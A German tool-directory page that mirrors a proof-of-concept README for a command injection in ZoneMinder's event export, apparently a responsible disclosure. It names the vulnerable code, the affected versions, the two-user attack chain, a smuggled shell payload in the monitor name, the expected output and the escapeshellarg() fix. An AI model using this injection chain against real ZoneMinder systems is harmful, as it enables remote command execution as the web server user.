Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-76060_ZoneMinder_CommandInjection-PoC — Proof-of-Concept-Exploit für CVE-2026-76060, eine OS-Command-Injection im Event-Export von ZoneMinder, die RCE über manipulierte Monitornamen demonstriert. | Kitploit
Tools/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

Proof-of-Concept-Exploit für CVE-2026-76060, eine OS-Command-Injection im Event-Export von ZoneMinder, die RCE über manipulierte Monitornamen demonstriert.

Repository anzeigen
125vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

just wait and see

Proof of Concept für eine OS-Command-Injection-Schwachstelle in der Event-Export-Funktion von ZoneMinder (web/includes/download_functions.php).

Monitornamen werden direkt in Shell-Befehle interpoliert, wobei manuell einfache Anführungszeichen gesetzt werden, anstatt escapeshellarg() zu verwenden. Ein Angreifer, der einen Monitor erstellen kann, kann beliebige Shell-Befehle injizieren, die als www-data/der Benutzer, unter dem der Prozess läuft, ausgeführt werden, sobald ein Benutzer einen Event-Export auslöst.

Ursachen

  • Commit 44c5c3c vom 4. Oktober 2023 – hier wurde die Datei download_functions.php eingeführt. Die Commit-Nachricht lautet „Introduce new download mode that concats event videos into 1 file per monitor.“ Der anfällige Code ist hier vorhanden, erforderte jedoch, dass zuerst ein Administrator den Monitor erstellt.
  • Commit 2d49e93 vom 2. Januar 2024 – „Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones.“ Hier ändert sich die Lage etwas. Nun kann ein Benutzer mit lediglich Monitors=Create den Monitornamen für den Angriff festlegen, und jeder Benutzer mit Exportberechtigung kann ihn auslösen.

Betroffene Versionen: >= 1.37.48 (enthält die SQL-Migrationsänderungen) und <= 1.38.1 Der 1.36.x-Zweig ist nicht betroffen.

So funktioniert es

Zwei Benutzer. Zwei Berechtigungsstufen. Eine Shell.

  • medpriv hat Monitors=Create oder Monitors=Edit, falls dort bereits ein Monitor existiert.
  • lowpriv hat gerade genug Zugriff, um einen Event-Export auszulösen. Zieht den Abzug, ohne es zu wissen.

Der Event-Datensatz muss nicht manuell erstellt werden. ZoneMinder ist ein Kamerasystem … es erstellt Event-Datensätze automatisch, während die Kameras laufen. In einer Live-Umgebung besteht der Einrichtungsschritt darin: Monitor erstellen, weggehen.

Zwei Senken, eine Quelle

Der nicht bereinigte Monitorname erreicht zwei separate exec()-Aufrufe:

Zeile 126 | ffmpeg:

$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Zeile 150 | tar/zip:

$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Beide sind über denselben sorgfältig konstruierten Monitornamen erreichbar, unabhängig vom Exportformat.

Voraussetzungen

  • Docker
  • Docker Compose

Verwendung

git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# warten, bis ZoneMinder die Initialisierung abgeschlossen hat (~30 Sekunden)
uv run poc.py

init.sql bootstrappt die Datenbank mit aktivierter Authentifizierung und zwei Benutzern:

  • medpriv mit Rechten zur Monitorerstellung (und aus Zeitgründen auch mit Rechten zur Ereigniserstellung, was in der Produktion jedoch nicht nötig ist)
  • lowpriv mit ausschließlich Zugriff auf den Event-Export

uv run poc.py führt die gesamte Kette aus:

  1. medpriv authentifiziert sich über die API und erstellt einen Monitor mit dem Namen poc'; touch /tmp/pwned; echo '
  2. medpriv erstellt einen Event-Datensatz, um die Demo zu beschleunigen (in der Produktion erledigt ZoneMinder dies automatisch)
  3. lowpriv authentifiziert sich und löst einen Event-Export aus
  4. Das Skript prüft /tmp/pwned im Container und gibt das Ergebnis aus

Erwartete Ausgabe:

Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1: 8.8 (Hoch):AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0: 8.7 (Hoch):AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

In jedem Fall kostet escapeshellarg() zumindest nichts.

Offenlegung

  • 03/08/2026: Gemeldet über die Sicherheitskontakt-E-Mail von ZoneMinder
  • 03/09/2026: Behoben in Commit b3a7c05
  • 06/08/2026: Öffentliche Offenlegung

[!NOTE] Innerhalb von 12 Stunden nach der Meldung behoben. Keine Bestätigung des Maintainers, dass es sich um ein Sicherheitsproblem handelt. Ich bin anderer Meinung. Aktualisiert am 27.08.26 – Der Maintainer hat den Bericht bestätigt und eine CVE wurde vergeben.

Fix

Wenden Sie escapeshellarg() mindestens an beiden Injektionspunkten an:

// Zeile 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Zeile 150
$command .= ' '.escapeshellarg($mergedFileName);

Die Zeilen 116 und 211 in generateFileList() weisen dasselbe Muster auf.


Entdeckt von (@investigato)
Vollständiger Artikel: scriptkittens.com

Tool herunterladen